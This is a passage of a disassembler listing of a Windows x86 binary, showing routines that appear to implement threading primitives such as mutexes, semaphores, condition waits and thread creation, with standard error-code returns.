loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103B8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103B8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510900
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103C0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103BC
		mov	dword_5103C0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103BC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103BC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103BC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103C0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103C0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510900
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510900
		call	near ptr 7C9010EDh
		nop


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		call	near ptr 77C1F2BCh
		nop
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	near ptr 77C3A3DBh
		nop
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		nop
		call	near ptr 2780000h


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
